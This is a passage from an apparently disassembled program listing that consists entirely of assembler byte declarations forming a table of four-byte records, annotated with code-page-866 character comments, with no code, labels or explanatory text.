		db 0ABh	; ╚
		db  30h	; 0
		db  0Eh	;  
		db 0D1h	; я
		db 0ABh	; ╚
		db  35h	; 5
		db  1Ch	;  
		db 0D1h	; я
		db 0ABh	; ╚
		db  35h	; 5
		db  1Dh	;  
		db 0D1h	; я
		db 0ABh	; ╚
		db  36h	; 6
		db  0Ah	;  
		db 0D1h	; я
		db 0ABh	; ╚
		db  36h	; 6
		db  0Bh	;  
		db 0D1h	; я
		db 0ABh	; ╚
		db  3Ah	; :
		db  0Ah	;  
		db 0D1h	; я
		db 0ABh	; ╚
		db  3Ah	; :
		db  0Ch	;  
		db 0D1h	; я
		db 0ABh	; ╚
		db    9	;  
		db  83h	; ┐
		db 0D1h	; я
		db 0ACh	; ╛
		db 0C0h	; ю
		db    2	;  
		db 0D1h	; я
		db 0ACh	; ╛
		db 0C0h	; ю
		db  16h	;  
		db 0D1h	; я
		db 0ACh	; ╛
		db 0C0h	; ю
		db  17h	;  
		db 0D1h	; я
		db 0ACh	; ╛
		db 0C0h	; ю
		db  19h	;  
		db 0D1h	; я
		db 0ACh	; ╛
		db 0C0h	; ю
		db  1Ah	;  
		db 0D1h	; я
		db 0ACh	; ╛
		db 0C2h	; б
		db    2	;  
		db 0D1h	; я
		db 0B3h	; Ё
		db 0B3h	; Ё
		db  12h	;  
		db 0D1h	; я
		db  12h	;  
		db 0EEh	; Н
		db    1	;  
		db 0D1h	; я
		db 0B4h	; Є
		db 0E6h	; Ф
		db 0BDh	; Ґ
		db 0D1h	; я
		db 0B4h	; Є
		db 0E6h	; Ф
		db 0FEh	; Ч
		db 0D1h	; я
		db 0B5h	; ╣
		db  31h	; 1
		db    5	;  
		db 0D1h	; я
		db 0B5h	; ╣
		db  3Fh	; ?
		db    1	;  
		db 0D1h	; я
		db 0B5h	; ╣
		db  3Fh	; ?
		db    7	;  
		db 0D1h	; я
		db 0B6h	; І
		db  80h	; ─
		db    5	;  
		db 0D1h	; я
		db 0B6h	; І
		db 0C3h	; ц
		db  4Dh	; M
		db 0D1h	; я
		db 0B6h	; І
		db  20h	;  
		db  0Ah	;  
		db 0D1h	; я
		db 0B8h	; ╦
		db  6Eh	; n
		db  0Ch	;  
		db 0D1h	; я
		db 0B8h	; ╦
		db  6Eh	; n
		db  10h	;  
		db 0D1h	; я
		db 0B8h	; ╦
		db 0C0h	; ю
		db  19h	;  
		db 0D1h	; я
		db 0B9h	; ╧
		db  82h	; ┌
		db  44h	; D
		db 0D1h	; я
		db 0B9h	; ╧
		db 0A2h	; ╒
		db  0Fh	;  
		db 0D1h	; я
		db 0B9h	; ╧
		db 0A2h	; ╒
		db  10h	;  
		db 0D1h	; я
		db 0BCh	; ╪
		db  60h	; `
		db    2	;  
		db 0D1h	; я
		db 0BCh	; ╪
		db  60h	; `
		db    3	;  
		db 0D1h	; я
		db 0BFh	; ©
		db    0	;  
		db    1	;  
		db 0D1h	; я
		db 0BFh	; ©
		db    0	;  
		db    2	;  
		db 0D1h	; я
		db 0BFh	; ©
		db  76h	; v
		db    3	;  
		db 0D1h	; я
		db 0BFh	; ©
		db  76h	; v
		db    4	;  
		db 0D1h	; я
		db 0BFh	; ©
		db  81h	; │
		db  41h	; A
		db 0D1h	; я
		db 0BFh	; ©
		db 0A2h	; ╒
		db  97h	; ≈
		db 0D1h	; я
		db 0BFh	; ©
		db 0C7h	; г
		db  48h	; H
		db 0D1h	; я
		db 0BFh	; ©
		db 0C7h	; г
		db  49h	; I
		db 0D1h	; я
		db 0C0h	; ю
		db    3	;  
		db    2	;  
		db 0D1h	; я
		db 0C1h	; а
		db  1Eh	;  
		db 0F5h	; У
		db 0D1h	; я
		db 0C1h	; а
		db  1Eh	;  
		db 0F8h	; Ь
		db 0D1h	; я
		db 0C1h	; а
		db    4	;  
		db    7	;  
		db 0D1h	; я
		db 0C1h	; а
		db    4	;  
		db    8	;  
		db 0D1h	; я
		db 0C3h	; ц
		db  34h	; 4
		db  28h	; (
		db 0D1h	; я
		db 0C4h	; д
		db  36h	; 6
		db    4	;  
		db 0D1h	; я
		db 0C5h	; е
		db  40h	; @
		db    1	;  
		db 0D1h	; я
		db 0C6h	; ф
		db  57h	; W
		db  28h	; (
		db 0D1h	; я
		db 0C9h	; и
		db  4Ah	; J
		db    1	;  
		db 0D1h	; я
		db 0CAh	; й
		db 0C1h	; а
		db 0FCh	; Э
		db 0D1h	; я
		db 0CAh	; й
		db 0C1h	; а
		db 0FDh	; Щ
		db 0D1h	; я
		db 0CAh	; й
		db 0DCh	; э
		db    8	;  
		db 0D1h	; я
		db 0CAh	; й
		db 0DDh	; щ
		db  37h	; 7
		db 0D1h	; я
		db 0CAh	; й
		db 0E0h	; Ю
		db 0FDh	; Щ
		db 0D1h	; я
		db 0CAh	; й
		db 0E4h	; Д
		db  0Ah	;  
		db 0D1h	; я
		db 0CBh	; к
		db 0DBh	; ш
		db    2	;  
		db 0D1h	; я
		db 0D1h	; я
		db 0B4h	; Є
		db 0B4h	; Є
		db 0D1h	; я
		db 0D1h	; я
		db 0B4h	; Є
		db 0B6h	; І
		db 0D1h	; я
		db 0D1h	; я
		db 0B4h	; Є
		db  26h	; &
		db 0D1h	; я
		db  15h	;  
		db 0B6h	; І
		db    4	;  
		db 0D1h	; я
		db  15h	;  
		db  58h	; X
		db  0Bh	;  
		db 0D1h	; я
		db  15h	;  
		db  58h	; X
		db  0Ch	;  
		db 0D1h	; я
		db 0D3h	; с
		db 0C7h	; г
		db  0Ah	;  
		db 0D1h	; я
		db 0D3h	; с
		db 0EDh	; М
		db  14h	;  
		db 0D1h	; я
		db 0D3h	; с
		db 0EFh	; О
		db    5	;  
		db 0D1h	; я
		db 0D5h	; у
		db  8Ch	; ▄
		db  11h	;  
		db 0D1h	; я
		db 0D5h	; у
		db  8Fh	; ▐
		db 0FDh	; Щ
		db 0D1h	; я
		db 0D5h	; у
		db 0DFh	; ъ
		db  7Eh	; ~
		db 0D1h	; я
		db 0D7h	; в
		db 0AEh	; ў
		db  20h	;  
		db 0D1h	; я
		db 0D9h	; ы
		db  13h	;  
		db 0E6h	; Ф
		db 0D1h	; я
		db 0D9h	; ы
		db 0E0h	; Ю
		db    4	;  
		db 0D1h	; я
		db 0D9h	; ы
		db 0E0h	; Ю
		db    6	;  
		db 0D1h	; я
		db 0DAh	; з
		db  40h	; @
		db  42h	; B
		db 0D1h	; я
		db 0DBh	; ш
		db 0D1h	; я
		db  4Dh	; M
		db 0D1h	; я
		db  16h	;  
		db  78h	; x
		db  0Eh	;  
		db 0D1h	; я
		db  16h	;  
		db 0B1h	; ╠
		db  62h	; b
		db 0D1h	; я
		db 0DDh	; щ
		db  80h	; ─
		db    1	;  
		db 0D1h	; я
		db 0DDh	; щ
		db  80h	; ─
		db    2	;  
		db 0D1h	; я
		db 0DDh	; щ
		db 0CDh	; м
		db    2	;  
		db 0D1h	; я
		db 0DDh	; щ
		db 0CDh	; м
		db    3	;  
		db 0D1h	; я
		db 0DFh	; ъ
		db  55h	; U
		db  0Ah	;  
		db 0D1h	; я
		db 0DFh	; ъ
		db  55h	; U
		db    5	;  
		db 0D1h	; я
		db 0E0h	; Ю
		db  14h	;  
		db  18h	;  
		db 0D1h	; я
		db 0E1h	; А
		db    8	;  
		db  2Ah	; *
		db 0D1h	; я
		db 0E2h	; Б
		db 0AFh	; ╞
		db 0ECh	; Л
		db 0D1h	; я
		db 0E4h	; Д
		db  0Fh	;  
		db    4	;  
		db 0D1h	; я
		db  17h	;  
		db 0B4h	; Є
		db    2	;  
		db 0D1h	; я
		db  17h	;  
		db 0B4h	; Є
		db    4	;  
		db 0D1h	; я
		db 0EBh	; К
		db  1Ah	;  
		db    2	;  
		db 0D1h	; я
		db 0EBh	; К
		db  36h	; 6
		db    4	;  
		db 0D1h	; я
		db 0ECh	; Л
		db  80h	; ─
		db  80h	; ─
		db 0D1h	; я
		db 0ECh	; Л
		db  80h	; ─
		db  81h	; │
		db 0D1h	; я
		db 0ECh	; Л
		db  1Bh	;  
		db    5	;  
		db 0D1h	; я
		db 0EEh	; Н
		db 0B8h	; ╦
		db  32h	; 2
		db 0D1h	; я
		db 0EEh	; Н
		db 0B8h	; ╦
		db  33h	; 3
		db 0D1h	; я
		db 0EEh	; Н
		db    9	;  
		db  32h	; 2
		db 0D1h	; я
		db 0EEh	; Н
		db    9	;  
		db  33h	; 3
		db 0D1h	; я
		db 0EFh	; О
		db  2Fh	; /
		db 0C9h	; и
		db 0D1h	; я
		db 0EFh	; О
		db  2Fh	; /
		db 0FCh	; Э
		db 0D1h	; я
		db 0EFh	; О
		db  40h	; @
		db    2	;  
		db 0D1h	; я
		db 0EFh	; О
		db  42h	; B
		db  1Ah	;  
		db 0D1h	; я
		db 0EFh	; О
		db  60h	; `
		db    4	;  
		db 0D1h	; я
		db 0EFh	; О
		db  60h	; `
		db    7	;  
		db 0D1h	; я
		db  18h	;  
		db  95h	; ∙
		db  29h	; )
		db 0D1h	; я
		db  18h	;  
		db  95h	; ∙
		db  2Ah	; *
		db 0D1h	; я
		db  18h	;  
		db 0D1h	; я
		db  6Dh	; m
		db 0D1h	; я
		db 0F0h	; П
		db 0E0h	; Ю
		db    1	;  
		db 0D1h	; я
		db 0F0h	; П
		db 0E0h	; Ю
		db  28h	; (
		db 0D1h	; я
		db 0F0h	; П
		db 0FEh	; Ч
		db    1	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  7Ch	; |
		db  22h	; "
		db 0D1h	; я
		db 0F1h	; Я
		db  7Ch	; |
		db  28h	; (
		db 0D1h	; я
		db 0F1h	; Я
		db  0Dh	;  
		db    2	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  0Dh	;  
		db    3	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  84h	; └
		db 0FCh	; Э
		db 0D1h	; я
		db 0F1h	; Я
		db  84h	; └
		db 0FDh	; Щ
		db 0D1h	; я
		db 0F1h	; Я
		db  87h	; ┤
		db    2	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  8Fh	; ▐
		db  21h	; !
		db 0D1h	; я
		db 0F1h	; Я
		db  93h	; ⌠
		db    2	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  93h	; ⌠
		db    3	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  9Bh	; ⌡
		db    2	;  
		db 0D1h	; я
		db 0F1h	; Я
		db 0B8h	; ╦
		db    4	;  
		db 0D1h	; я
		db 0F1h	; Я
		db 0B8h	; ╦
		db    5	;  
		db 0D1h	; я
		db 0F1h	; Я
		db 0BBh	; ╩
		db    2	;  
		db 0D1h	; я
		db 0F1h	; Я
		db 0D5h	; у
		db  7Bh	; {
		db 0D1h	; я
		db 0F1h	; Я
		db 0D5h	; у
		db  7Eh	; ~
		db 0D1h	; я
		db 0F1h	; Я
		db 0DAh	; з
		db    2	;  
		db 0D1h	; я
		db 0F1h	; Я
		db 0DAh	; з
		db    3	;  
		db 0D1h	; я
		db 0F1h	; Я
		db 0EAh	; Й
		db  79h	; y
		db 0D1h	; я
		db 0F1h	; Я
		db 0EAh	; Й
		db  59h	; Y
		db 0D1h	; я
		db 0F1h	; Я
		db 0F0h	; П
		db  0Ah	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  1Ah	;  
		db    6	;  
		db 0D1h	; я
		db 0F1h	; Я
		db  63h	; c
		db    2	;  
		db 0D1h	; я
		db 0F4h	; Т
		db    0	;  
		db    1	;  
		db 0D1h	; я
		db 0F4h	; Т
		db    0	;  
		db    2	;  
		db 0D1h	; я
		db 0F4h	; Т
		db 0C0h	; ю
		db  83h	; ┐
		db 0D1h	; я
		db 0F4h	; Т
		db 0C0h	; ю
		db 0C3h	; ц
		db 0D1h	; я
		db 0F4h	; Т
		db    5	;  
		db  14h	;  
		db 0D1h	; я
		db 0F4h	; Т
		db    5	;  
		db  15h	;  
		db 0D1h	; я
		db 0F4h	; Т
		db    5	;  
		db  54h	; T
		db 0D1h	; я
		db 0F4h	; Т
		db    5	;  
		db  55h	; U
		db 0D1h	; я
		db 0F6h	; Ж
		db  7Bh	; {
		db 0AEh	; ў
		db 0D1h	; я
		db 0F6h	; Ж
		db  0Fh	;  
		db  39h	; 9
		db 0D1h	; я
		db 0FAh	; З
		db    0	;  
		db  88h	; ┬
		db 0D1h	; я
		db 0FAh	; З
		db  40h	; @
		db    3	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  6Ch	; l
		db    6	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  81h	; │
		db  0Ah	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  81h	; │
		db    8	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  81h	; │
		db    9	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db 0A7h	; ї
		db    4	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db 0A7h	; ї
		db    5	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db    2	;  
		db  66h	; f
		db 0D1h	; я
		db 0FBh	; Ш
		db    2	;  
		db  67h	; g
		db 0D1h	; я
		db 0FBh	; Ш
		db 0D0h	; п
		db  13h	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db 0D0h	; п
		db  14h	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db 0E0h	; Ю
		db    1	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db 0E0h	; Ю
		db    6	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  21h	; !
		db    2	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  23h	; #
		db    5	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  40h	; @
		db 0FCh	; Э
		db 0D1h	; я
		db 0FBh	; Ш
		db  60h	; `
		db    2	;  
		db 0D1h	; я
		db 0FBh	; Ш
		db  60h	; `
		db    3	;  
		db 0D1h	; я
		db  1Ah	;  
		db 0B2h	; ╡
		db  0Ah	;  
		db 0D1h	; я
		db  1Ah	;  
		db 0B2h	; ╡
		db    9	;  
		db 0D1h	; я
		db  1Ah	;  
		db 0B5h	; ╣
		db 0E3h	; Ц
		db 0D1h	; я
		db  1Bh	;  
		db  34h	; 4
		db  33h	; 3
		db 0D1h	; я
		db    3	;  
		db 0DAh	; з
		db 0E9h	; И
		db 0D1h	; я
		db  1Eh	;  
		db    0	;  
		db  64h	; d
		db 0D1h	; я
		db  1Eh	;  
		db    0	;  
		db    9	;  
		db 0D1h	; я
		db  1Fh	;  
		db  90h	; ░
		db  2Bh	; +
		db 0D1h	; я
		db  22h	; "
		db  40h	; @
		db  0Ah	;  
		db 0D1h	; я
		db  22h	; "
		db  40h	; @
		db    8	;  
		db 0D1h	; я
		db  25h	; %
		db  8Ah	; ┼
		db 0F0h	; П
		db 0D1h	; я
		db  25h	; %
		db  23h	; #
		db  1Dh	;  
		db 0D1h	; я
		db    4	;  
		db  1Dh	;  
		db  82h	; ┌
		db 0D1h	; я
		db    4	;  
		db  1Dh	;  
		db    2	;  
		db 0D1h	; я
		db  28h	; (
		db  40h	; @
		db    1	;  
		db 0D1h	; я
		db  28h	; (
		db  40h	; @
		db    2	;  
		db 0D1h	; я
		db  29h	; )
		db 0AAh	; ╙
		db  63h	; c
		db 0D1h	; я
		db  29h	; )
		db 0B8h	; ╦
		db  64h	; d
		db 0D1h	; я
		db  29h	; )
		db  1Fh	;  
		db  0Dh	;  
		db 0D1h	; я
		db  29h	; )
		db  40h	; @
		db  42h	; B
		db 0D1h	; я
		db  29h	; )
		db  40h	; @
		db  43h	; C
		db 0D1h	; я
		db  29h	; )
		db  40h	; @
		db  44h	; D
		db 0D1h	; я
		db  29h	; )
		db  40h	; @
		db  45h	; E
		db 0D1h	; я
		db  2Bh	; +
		db  93h	; ⌠
		db  0Ah	;  
		db 0D1h	; я
		db  2Bh	; +
		db  93h	; ⌠
		db  30h	; 0
		db 0D1h	; я
		db  2Bh	; +
		db 0B5h	; ╣
		db  26h	; &
		db 0D1h	; я
		db  2Dh	; -
		db  8Ch	; ▄
		db  47h	; G
		db 0D1h	; я
		db  2Dh	; -
		db 0C8h	; х
		db    7	;  
		db 0D1h	; я
		db  2Dh	; -
		db 0C8h	; х
		db    9	;  
		db 0D1h	; я
		db  2Eh	; .
		db 0C8h	; х
		db    7	;  
		db 0D1h	; я
		db  2Eh	; .
		db 0F1h	; Я
		db    7	;  
		db 0D1h	; я
		db  2Eh	; .
		db  3Fh	; ?
		db    1	;  
		db 0D1h	; я
		db  2Eh	; .
		db  3Fh	; ?
		db    6	;  
		db 0D1h	; я
		db  2Fh	; /
		db  89h	; ┴
		db  0Ah	;  
		db 0D1h	; я
		db  30h	; 0
		db 0D8h	; ь
		db    1	;  
		db 0D1h	; я
		db  31h	; 1
		db    5	;  
		db  0Ah	;  
		db 0D1h	; я
		db  32h	; 2
		db  27h	; '
		db  66h	; f
		db 0D1h	; я
		db  32h	; 2
		db  28h	; (
		db  66h	; f
		db 0D1h	; я
		db  33h	; 3
		db  80h	; ─
		db  0Ah	;  
		db 0D1h	; я
		db  33h	; 3
		db  80h	; ─
		db  0Fh	;  
		db 0D1h	; я
		db  33h	; 3
		db 0A0h	; ═
		db    2	;  
		db 0D1h	; я
		db  33h	; 3
		db 0A1h	; ║
		db  56h	; V
		db 0D1h	; я
		db  33h	; 3
		db 0B4h	; Є
		db  66h	; f
		db 0D1h	; я
		db  33h	; 3
		db 0F0h	; П
		db 0F1h	; Я
		db 0D1h	; я
		db  33h	; 3
		db 0F0h	; П
		db 0F2h	; Р
		db 0D1h	; я
		db  33h	; 3
		db  30h	; 0
		db    2	;  
		db 0D1h	; я
		db  33h	; 3
		db  30h	; 0
		db    3	;  
		db 0D1h	; я
		db  33h	; 3
		db    6	;  
		db  0Ah	;  
		db 0D1h	; я
		db  34h	; 4
		db  93h	; ⌠
		db  8Bh	; ▀
		db 0D1h	; я
		db  34h	; 4
		db 0ADh	; ґ
		db    1	;  
		db 0D1h	; я
		db  34h	; 4
		db 0C8h	; х
		db    2	;  
		db 0D1h	; я
		db  34h	; 4
		db 0C8h	; х
		db    3	;  
		db 0D1h	; я
		db  35h	; 5
		db 0BAh	; ╨
		db    1	;  
		db 0D1h	; я
		db  35h	; 5
		db 0D7h	; в
		db    2	;  
		db 0D1h	; я
		db  35h	; 5
		db 0D8h	; ь
		db    2	;  
		db 0D1h	; я
		db  36h	; 6
		db  2Ah	; *
		db    2	;  
		db 0D1h	; я
		db  38h	; 8
		db  6Eh	; n
		db  0Ah	;  
		db 0D1h	; я
		db  38h	; 8
		db  6Eh	; n
		db    2	;  
		db 0D1h	; я
		db  38h	; 8
		db 0CFh	; о
		db    1	;  
		db 0D1h	; я
		db  39h	; 9
		db 0A1h	; ║
		db    2	;  
		db 0D1h	; я
		db  3Eh	; >
		db 0C0h	; ю
		db    2	;  
		db 0D1h	; я
		db  3Fh	; ?
		db    0	;  
		db    2	;  
		db 0D1h	; я
		db  3Fh	; ?
		db  5Eh	; ^
		db    1	;  
		db 0D1h	; я
		db  43h	; C
		db 0A8h	; ╗
		db    6	;  
		db 0D1h	; я
		db  43h	; C
		db 0CFh	; о
		db    6	;  
		db 0D1h	; я
		db  43h	; C
		db  15h	;  
		db 0C7h	; г
		db 0D1h	; я
		db  43h	; C
		db  15h	;  
		db 0D3h	; с
		db 0D1h	; я
		db  43h	; C
		db  32h	; 2
		db 0DCh	; э
		db 0D1h	; я
		db  43h	; C
		db  32h	; 2
		db 0F1h	; Я
		db 0D1h	; я
		db  43h	; C
		db  32h	; 2
		db 0FDh	; Щ
		db 0D1h	; я
		db  43h	; C
		db  32h	; 2
		db 0FEh	; Ч
		db 0D1h	; я
		db  44h	; D
		db    1	;  
		db  0Bh	;  
		db 0D1h	; я
		db  44h	; D
		db  80h	; ─
		db    7	;  
		db 0D1h	; я
		db  4Ch	; L
		db 0EBh	; К
		db    2	;  
		db 0D1h	; я
		db  4Dh	; M
		db  95h	; ∙
		db    2	;  
		db 0D1h	; я
		db  4Eh	; N
		db  4Dh	; M
		db    2	;  
		db 0D1h	; я
		db  4Fh	; O
		db 0BEh	; Ў
		db  0Ah	;  
		db 0D1h	; я
		db  4Fh	; O
		db 0BEh	; Ў
		db  0Fh	;  
		db 0D1h	; я
		db    8	;  
		db  43h	; C
		db  0Ah	;  
		db 0D1h	; я
		db  51h	; Q
		db    9	;  
		db    1	;  
		db 0D1h	; я
		db  51h	; Q
		db    9	;  
		db  32h	; 2
		db 0D1h	; я
		db  51h	; Q
		db  60h	; `
		db  82h	; ┌
		db 0D1h	; я
		db  51h	; Q
		db  60h	; `
		db  31h	; 1
		db 0D1h	; я
		db  52h	; R
		db  64h	; d
		db  0Bh	;  
		db 0D1h	; я
		db  52h	; R
		db  64h	; d
		db  0Ch	;  
		db 0D1h	; я
		db  52h	; R
		db  7Fh	; 
		db  0Ah	;  
		db 0D1h	; я
		db  53h	; S
		db  90h	; ░
		db    1	;  
		db 0D1h	; я
		db  53h	; S
		db 0A2h	; ╒
		db  23h	; #
		db 0D1h	; я
		db  54h	; T
		db 0A0h	; ═
		db  6Dh	; m
		db 0D1h	; я
		db  54h	; T
		db 0A0h	; ═
		db  6Eh	; n
		db 0D1h	; я
		db  54h	; T
		db 0A0h	; ═
		db  71h	; q
		db 0D1h	; я
		db  54h	; T
		db 0B1h	; ╠
		db    1	;  
		db 0D1h	; я
		db  54h	; T
		db 0B6h	; І
		db  65h	; e
		db 0D1h	; я
		db  54h	; T
		db 0B6h	; І
		db  67h	; g
		db 0D1h	; я
		db  54h	; T
		db 0B6h	; І
		db  6Fh	; o
		db 0D1h	; я
		db  54h	; T
		db 0B6h	; І
		db  70h	; p
		db 0D1h	; я
		db  54h	; T
		db 0FDh	; Щ
		db  0Bh	;  
		db 0D1h	; я
		db  54h	; T
		db 0FDh	; Щ
		db  0Ch	;  
		db 0D1h	; я
		db  54h	; T
		db  27h	; '
		db    6	;  
		db 0D1h	; я
		db  54h	; T
		db  54h	; T
		db  0Ah	;  
		db 0D1h	; я
		db  54h	; T
		db  54h	; T
		db  0Bh	;  
		db 0D1h	; я
		db  54h	; T
		db  61h	; a
		db 0FEh	; Ч
		db 0D1h	; я
		db  55h	; U
		db    1	;  
		db    2	;  
		db 0D1h	; я
		db  57h	; W
		db  40h	; @
		db  46h	; F
		db 0D1h	; я
		db  57h	; W
		db  4Fh	; O
		db 0E8h	; Х
		db 0D1h	; я
		db  5Bh	; [
		db  80h	; ─
		db  0Ah	;  
		db 0D1h	; я
		db  5Bh	; [
		db 0C4h	; д
		db    2	;  
		db 0D1h	; я
		db  5Bh	; [
		db 0C4h	; д
		db    6	;  
		db 0D1h	; я
		db  5Eh	; ^
		db  28h	; (
		db  0Ah	;  
		db 0D1h	; я
		db  5Eh	; ^
		db  28h	; (
		db    9	;  
		db 0D1h	; я
		db  61h	; a
		db  3Dh	; =
		db  0Ah	;  
		db 0D1h	; я
		db  62h	; b
		db  62h	; b
		db    1	;  
		db 0D2h	; р
		db  65h	; e
		db  80h	; ─
		db  0Dh	;  
		db 0D2h	; р
		db  65h	; e
		db  8Fh	; ▐
		db    3	;  
		db 0D2h	; р
		db  65h	; e
		db  91h	; ▒
		db    2	;  
		db 0D2h	; р
		db  65h	; e
		db 0A0h	; ═
		db  65h	; e
		db 0D2h	; р
		db  65h	; e
		db 0B6h	; І
		db    2	;  
		db 0D2h	; р
		db  65h	; e
		db 0C0h	; ю
		db    5	;  
		db 0D2h	; р
		db  65h	; e
		db 0C1h	; а
		db    3	;  
		db 0D2h	; р
		db  66h	; f
		db 0D0h	; п
		db    1	;  
		db 0D2h	; р
		db  66h	; f
		db 0D7h	; в
		db    2	;  
		db 0D2h	; р
		db  73h	; s
		db  7Dh	; }
		db  25h	; %
		db 0D2h	; р
		db  73h	; s
		db  7Dh	; }
		db  35h	; 5
		db 0D2h	; р
		db  73h	; s
		db 0C0h	; ю
		db    7	;  
		db 0D2h	; р
		db  74h	; t
		db 0FEh	; Ч
		db    1	;  
		db 0D2h	; р
		db  75h	; u
		db  41h	; A
		db  64h	; d
		db 0D2h	; р
		db  75h	; u
		db  41h	; A
		db    2	;  
		db 0D2h	; р
		db  79h	; y
		db    0	;  
		db  3Eh	; >
		db 0D2h	; р
		db  79h	; y
		db  6Fh	; o
		db  65h	; e
		db 0D2h	; р
		db  7Bh	; {
		db  20h	;  
		db  0Dh	;  
		db 0D2h	; р
		db  82h	; ┌
		db    1	;  
		db  2Dh	; -
		db 0D2h	; р
		db  82h	; ┌
		db    1	;  
		db  2Eh	; .
		db 0D2h	; р
		db  82h	; ┌
		db    1	;  
		db  2Fh	; /
		db 0D2h	; р
		db  83h	; ┐
		db  0Ah	;  
		db 0E2h	; Б
		db 0D2h	; р
		db  83h	; ┐
		db  0Ch	;  
		db    1	;  
		db 0D2h	; р
		db  83h	; ┐
		db  0Ch	;  
		db    2	;  
		db 0D2h	; р
		db  83h	; ┐
		db 0B1h	; ╠
		db 0FDh	; Щ
		db 0D2h	; р
		db  83h	; ┐
		db 0CAh	; й
		db    2	;  
		db 0D2h	; р
		db  83h	; ┐
		db 0D0h	; п
		db    2	;  
		db 0D2h	; р
		db  83h	; ┐
		db 0D3h	; с
		db    1	;  
		db 0D2h	; р
		db  83h	; ┐
		db 0ECh	; Л
		db    2	;  
		db 0D2h	; р
		db  83h	; ┐
		db    7	;  
		db  82h	; ┌
		db 0D2h	; р
		db  83h	; ┐
		db    8	;  
		db    3	;  
		db 0D2h	; р
		db  83h	; ┐
		db    9	;  
		db    2	;  
		db 0D2h	; р
		db  84h	; └
		db  5Bh	; [
		db  81h	; │
		db 0D2h	; р
		db  84h	; └
		db  5Bh	; [
		db  82h	; ┌
		db 0D2h	; р
		db  86h	; ├
		db 0D5h	; у
		db    3	;  
		db 0D2h	; р
		db  87h	; ┤
		db 0B6h	; І
		db  82h	; ┌
		db 0D2h	; р
		db  87h	; ┤
		db 0B6h	; І
		db    2	;  
		db 0D2h	; р
		db  88h	; ┬
		db  6Bh	; k
		db  39h	; 9
		db 0D2h	; р
		db  8Ah	; ┼
		db 0F5h	; У
		db    1	;  
		db 0D2h	; р
		db  8Ah	; ┼
		db  27h	; '
		db 0C3h	; ц
		db 0D2h	; р
		db  8Ah	; ┼
		db  27h	; '
		db 0C4h	; д
		db 0D2h	; р
		db  8Dh	; █
		db  0Ah	;  
		db  41h	; A
		db 0D2h	; р
		db  8Dh	; █
		db  6Ch	; l
		db 0C2h	; б
		db 0D2h	; р
		db  8Dh	; █
		db  6Ch	; l
		db 0E2h	; Б
		db 0D2h	; р
		db  8Dh	; █
		db  6Ch	; l
		db 0E7h	; Г
		db 0D2h	; р
		db  8Dh	; █
		db  80h	; ─
		db  0Ah	;  
		db 0D2h	; р
		db  8Dh	; █
		db  80h	; ─
		db  0Dh	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0E0h	; Ю
		db  2Fh	; /
		db 0D2h	; р
		db  8Dh	; █
		db 0E0h	; Ю
		db  30h	; 0
		db 0D2h	; р
		db  8Dh	; █
		db 0E5h	; Е
		db    2	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0E8h	; Х
		db    1	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0EAh	; Й
		db    1	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0F4h	; Т
		db    1	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0F4h	; Т
		db    7	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0FBh	; Ш
		db  0Eh	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0FDh	; Щ
		db  1Bh	;  
		db 0D2h	; р
		db  8Dh	; █
		db 0FEh	; Ч
		db  0Ah	;  
		db 0D2h	; р
		db  8Dh	; █
		db  2Ch	; ,
		db    1	;  
		db 0D2h	; р
		db  8Dh	; █
		db  2Eh	; .
		db    2	;  
		db 0D2h	; р
		db  8Dh	; █
		db  43h	; C
		db  1Fh	;  
		db 0D2h	; р
		db  8Dh	; █
		db  45h	; E
		db  21h	; !
		db 0D2h	; р
		db  8Dh	; █
		db  45h	; E
		db  29h	; )
		db 0D2h	; р
		db  8Dh	; █
		db  4Dh	; M
		db  16h	;  
		db 0D2h	; р
		db  8Dh	; █
		db    9	;  
		db  82h	; ┌
		db 0D2h	; р
		db  8Dh	; █
		db    9	;  
		db  83h	; ┐
		db 0D2h	; р
		db  8Fh	; ▐
		db  40h	; @
		db    6	;  
		db 0D2h	; р
		db  8Fh	; ▐
		db  41h	; A
		db 0A1h	; ║
		db 0D2h	; р
		db  8Fh	; ▐
		db  41h	; A
		db 0A3h	; ё
		db 0D2h	; р
		db  91h	; ▒
		db  9Ch	; °
		db  62h	; b
		db 0D2h	; р
		db  91h	; ▒
		db  12h	;  
		db    2	;  
		db 0D2h	; р
		db  91h	; ▒
		db  12h	;  
		db  35h	; 5
		db 0D2h	; р
		db  91h	; ▒
		db 0FEh	; Ч
		db  26h	; &
		db 0D2h	; р
		db  91h	; ▒
		db    8	;  
		db  6Eh	; n
		db 0D2h	; р
		db  92h	; ▓
		db  42h	; B
		db    1	;  
		db 0D2h	; р
		db  93h	; ⌠
		db 0F0h	; П
		db 0D1h	; я
		db 0D2h	; р
		db  95h	; ∙
		db    0	;  
		db    1	;  
		db 0D2h	; р
		db  95h	; ∙
		db    8	;  
		db  42h	; B
		db 0D2h	; р
		db  96h	; √
		db  3Ch	; <
		db  21h	; !
		db 0D2h	; р
		db  96h	; √
		db  3Ch	; <
		db  22h	; "
		db 0D2h	; р
		db  97h	; ≈
		db  0Ah	;  
		db  0Ah	;  
		db 0D2h	; р
		db  97h	; ≈
		db  64h	; d
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  65h	; e
		db    3	;  
		db 0D2h	; р
		db  97h	; ≈
		db  65h	; e
		db    4	;  
		db 0D2h	; р
